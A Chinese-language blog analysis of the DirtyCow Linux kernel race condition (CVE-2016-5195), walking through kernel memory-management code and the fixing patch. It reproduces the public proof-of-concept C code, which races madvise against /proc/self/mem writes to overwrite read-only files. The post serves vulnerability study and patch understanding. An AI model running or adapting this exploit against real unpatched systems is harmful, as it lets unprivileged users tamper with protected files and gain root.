您的位置:首页 > 运维架构 > Linux

DirtyCow Linux权限提升漏洞分析(CVE-2016-5195)

2017-02-18 09:43 981 查看

DirtyCow Linux权限提升漏洞分析(CVE-2016-5195)

0x0 概述

这篇分析最早写在团队的BLOG里,在这里也贴一下(http://lab.xmirror.cn/)。

DirtyCow漏洞是最近爆出的Linux内核本地权限提升漏洞。该漏洞容易触发利用简单稳定,影响多个系统算是一个不错的漏洞。而且漏洞已经存在多年,正如Linus Torvalds所说

This is an ancient bug that was actually attempted to be fixed once (badly) by me eleven years ago in commit 4ceb5db9757a (“Fix get_user_pages() race for write access”) but that was then undone due to problems on s390 by commit f33ea7f404e5 (“fix get_user_pages bug”).

该漏洞主要由于内存管理方面的竞争条件漏洞,致使非授权用户写入任意文件,进一步利用可以提升权限。下面分析漏洞原理。

0x1 POC分析

先简单梳理一下POC的几个重要的点,下面是广为流传的一段POC代码:

void *madviseThread(void *arg)
{
char *str;
str=(char*)arg;
int i,c=0;
for(i=0;i<100000000;i++)
{
c+=madvise(map,100,MADV_DONTNEED);
}
printf("madvise %d\n\n",c);
}

void *procselfmemThread(void *arg)
{
char *str;
str=(char*)arg;

int f=open("/proc/self/mem",O_RDWR);
int i,c=0;
for(i=0;i<100000000;i++) {

lseek(f,map,SEEK_SET);
c+=write(f,str,strlen(str));
}
printf("procselfmem %d\n\n", c);
}

int main(int argc,char *argv[])
{
if (argc<3)return 1;
pthread_t pth1,pth2;

f=open(argv[1],O_RDONLY);
fstat(f,&st);
name=argv[1];

map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
printf("mmap %x\n\n",map);

pthread_create(&pth1,NULL,madviseThread,argv[1]);
pthread_create(&pth2,NULL,procselfmemThread,argv[2]);

pthread_join(pth1,NULL);
pthread_join(pth2,NULL);
return 0;
}


上面POC为了紧凑一些,去掉了注释、全局变量等,只保留了主体部分。

main函数将一个只读的文件映射到内存,注意到mmap的flag参数为MAP_PRIVATE,且属性为只读。当后面对该内存写入时,会创造一个cow的映射操作,也就是拷贝一个副本,并在副本里写入。对这个副本的操作,不会影响到其他映射该文件的进程。而且也不会对原文件进行更改。关于为何执行cow操作,后面会分析。之后创建两个线程,是此次竞争条件触发的关键。

第一个线程调用了madvise,一个关键的参数是MADV_DONTNEED

madvise(map,100,MADV_DONTNEED)


madvise是linux一个系统调用通知内核如何处理addr,addr+len部分的内存页,例如提前预读或者是缓存技术。这里用到的MADV_DONTNEED参数,指该部分内存短期不会访问,内核可以释放掉内存页。调用带有MADV_DONTNEED参数的madvise,表明程序不需要相应内存页,如果这些内存页被标记为dirty,则直接丢弃。

另一个线程通过/proc/self/mem文件,尝试向文件被映射的内存写入数据。

lseek(f,map,SEEK_SET);
c+=write(f,str,strlen(str));


0x2 漏洞原理分析

这个漏洞关键是两个线程的运行,如何导致了竞争条件,造成越权写只读的内存页。这个过程需要分析源码,在https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails中,已经贴出了漏洞触发的函数调用流程,这里对几个关键地方分析一下。

执行写操作时,内核需要获取相应的内存页,对应的函数为get_user_pages,真正的功能在__get_user_pages中实现。

__get_user_pages{
……
retry:
if (unlikely(fatal_signal_pending(current)))
return i ? i : -ERESTARTSYS;
cond_resched();
page = follow_page_mask(vma, start, foll_flags, &page_mask);
if (!page) {
int ret;
ret = faultin_page(tsk, vma, start, &foll_flags,
nonblocking);
switch (ret) {
case 0:
goto retry;
……
}


当上述流程走到case 0时,会循环调用follow_page_mask、faultin_page两个函数。由于第一次调用__get_user_pages,需要处理缺页,会进行如下的调用序列

get_user_page-> faultin_page->handle_mm_fault->__handle_mm_fault->handle_pte_fault->do_fault


当调用到do_fault时,判断要求写属性,且映射页属性不是VM_SHARED,会执行cow操作,相当于创建一个文件映射内存页的副本。如下所示:

do_fault{
……
if (!(fe->flags & FAULT_FLAG_WRITE))
return do_read_fault(fe, pgoff);
//当不是VM_SHARED的时候,执行cow
if (!(vma->vm_flags & VM_SHARED))
return do_cow_fault(fe, pgoff);
……
}


继续执行:

do_fault->do_cow_fault->alloc_set_pte


其中alloc_set_pte,设置cow的页面为page_dirty,并没有置位可写。如下所示:

maybe_mkwrite(pte_mkdirty(entry), vma)


faultin_page整个流程结束,第一次调用通过cow分配了文件映射内存页的副本文件,且返回NULL。

retry之后,第二次处理流程。首先follow_page_mask函数,调用流程为

follow_page_mask->follow_page_pte

follow_page_pte{
...
if ((flags & FOLL_WRITE) && !pte_write(pte)) {
pte_unmap_unlock(ptep, ptl);
return NULL;
}
...
}


这里判断通过页表项判断,通过cow获取的内存页是否具有写权限,没有则直接返回NULL。在第一个faultin_page流程里,没有标记可写权限。这里直接返回NULL。

第二次进入faultin_page。但此时和第一次调用faultin_page流程不同,由于第一次已经完成了内存映射,进行了cow操作,这次主要是处理写权限的页错误问题。直接分析与第一次的不同点。

Handle_pte_fault{
if (fe->flags & FAULT_FLAG_WRITE) {
if (!pte_write(entry))
return do_wp_page(fe, entry);
entry = pte_mkdirty(entry);
}
}


此次没有缺页错误,而是处理要求的写权限错误,会调用do_wp_page函数

do_wp_page-> ……->wp_page_reuse


由于之前已经进行过cow操作,所以直接使用cow的内存页,最后一层层返回到fault_in_page函数中为VM_FAULT_WRITE。由此,要求的写权限标志会被去掉,即会去掉FOLL_WRITE标志位,如下所示。

Fault_in_page{
...
if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
*flags &= ~FOLL_WRITE;
}


正常情况下,第三次再调用faultin_page,此时已经成功得到cow后的页面,且flags已经去掉FOLL_WRITE,因此不会再产生写错误的处理,可以直接写入cow的页了。

但是如果在上述流程即第二次页错误处理结束时,调用madvise,会unmap掉前面cow的页面,又进入缺页处理,这里不同的是在do_fault调用时,由于没有了写权限的要求,直接调用了do_read_fault读取映射文件的内存页。这一部分判断在do_fault函数中,继续拿出这部分代码。

do_fault{
……
if (!(fe->flags & FAULT_FLAG_WRITE))
return do_read_fault(fe, pgoff);
//当不是VM_SHARED的时候,执行cow
if (!(vma->vm_flags & VM_SHARED))
return do_cow_fault(fe, pgoff);
……
}


这样,基本获取了映射文件的内存页,而不是第一次流程中cow的内存页副本。后面已经基本可以完成越权写操作了。

再梳理一下整个漏洞触发流程,这里用一个正常流程做对比:

正常流程:

第一次处理缺页错误,do_cow_fault->
第二次处理写入权限错误,去掉FOLL_WRITE权限要求->
可以写入cow页面


漏洞流程:

第一次处理缺页错误,do_cow_fault->
第二次处理写入权限错误,去掉FOLL_WRITE权限要求->
madvise unmap内存映射->
第三次调用,又发现缺页错误,且没有FOLL_WRITE,直接获取文件映射内存页,造成越权。


0x03 补丁分析

补丁加入了一个标志位,标识之前进行过COW

+#define FOLL_COW   0x4000  /* internal GUP flag */


faultin_page中去掉了取消FOLL_WRITE,加入了置位FOLL_COW

if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
-       *flags &= ~FOLL_WRITE;
+       *flags |= FOLL_COW;
return 0;


follow_page_pte对COW的内存页单独判断。如果要求写权限,要么内存页可写,要么是COW的副本页,且被标记为dirty。

+static inline bool can_follow_write_pte(pte_t pte, unsigned int flags)
+{
+   return pte_write(pte) ||
+       ((flags & FOLL_FORCE) && (flags & FOLL_COW) && pte_dirty(pte));
+}

follow_page_pte{
...
-   if ((flags & FOLL_WRITE) && !pte_write(pte)) {
+   if ((flags & FOLL_WRITE) && !can_follow_write_pte(pte, flags)) {
pte_unmap_unlock(ptep, ptl);
return NULL;
}


1、修改后,对COW的强制写入,不必去掉FOLL_WRITE权限要求,这样不会引发后面直接去获取文件映射内存。

2、follow_page_pte加入FOLL_COW的判断,同时加入了对dirty标记的判断,这样才能确保FOLL_COW标志有效,即该页表项还存在。

至此,整个漏洞原理基本分析完毕,关于漏洞利用,很多文章也说了很多方法,这里https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs是各种POC、利用的一个集合,可以自己去开脑洞尝试各种方法。本篇分析也是建立在其他漏洞、内核研究者的基础上,结合作者对linux内核的有限认知去剖析其中的原理,只是希望起到抛砖引玉,多交流和学习。

参考:

https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails

https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619

https://dirtycow.ninja/

https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs

http://bobao.360.cn/learning/detail/3132.html

http://lxr.free-electrons.com/source/mm/gup.c

http://lxr.free-electrons.com/source/mm/memory.c

http://lxr.free-electrons.com/source/mm/madvise.c
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  漏洞 linux linux kernel